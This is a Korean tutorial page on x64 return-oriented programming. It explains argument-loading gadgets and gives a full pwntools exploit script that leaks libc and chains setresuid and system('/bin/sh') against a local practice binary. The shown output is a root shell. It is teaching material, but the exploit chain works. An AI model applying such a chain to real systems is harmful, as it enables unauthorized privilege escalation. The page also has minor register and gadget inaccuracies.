Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • x86의 경우 pop 명령어의 피연산자가 중요하지 않았지만, x64에서는 호출 규약 때문에 피연산자가 매우 중요합니다.

    • x86의 호출 규약은 Cdecl(C declaration)이며, x64의 호출 규약은 System V AMD64 ABI 입니다.

    • x64의 ROP에서 POP 명령어의 역할은 다음과 같습니다.
      • ESP 레지스터의 값을 증가시켜 함수를 연속으로 호출하는 것
      • 호출할 함수에 전달될 인자 값을 레지스터에 저장하는 것
        • 인자 값은 Stack에 저장되어있음
        • 해당 역할 때문에 필요한 Gadgets을 찾기가 어려워 집니다.
  • 예를 들어 다음과 같은 형태의 Gadgets을 사용 됩니다.
    • 호출할 함수의 첫번째 인자 값을 저장 : "pop rdi; ret"
    • 호출할 함수의 두번째 인자 값을 저장 : "pop rsi; ret"
    • 호출할 함수의 첫번째, 세번째 인자 값을 저장: "pop rdi; pop rdx; ret"
  • 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있습니다.
    • x64에서는 Gadgets을 이용해 인자 값을 레지스터에 저장한 후에 함수를 호출합니다.
    • 아래 예제는 read() 함수 호출 후 System() 함수를 호출하게 됩니다.

...

Code Block
languagepy
titleropexploit.py
from pwn import *
from struct import *

#context.log_level = 'debug'

#64bit OS - /lib/x86_64-linux-gnu/libc-2.23.so 
libcbase_printf_offset = 0x55800 
libcbase_system_offset = 0x45390
libcbase_setresuid_offset = 0xcd570 

binsh_offset = 0x18cd57
 
pop_rdi_ret = 0x400843 
pop_rsi_ret = 0x400841 
pop_rdx_ret_offset = 0x1150c9 

r = process('./rop')

r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset

payload = "A"*72
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0)
payload += p64(0)
payload += p64(libcbase + libcbase_setresuid_offset)

payload += p64(pop_rdi_ret)
payload += p64(libcbase + binsh_offset)
payload += p64(libcbase + libcbase_system_offset)

r.send(payload)

r.interactive()
Code Block
titlepython rop.py
lazenca0x0@ubuntu:~/Exploit/ROP$ python ropexploit.py
[+] Starting local process './rop': pid 5698
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

Related site

  • N/a

Comments

Panel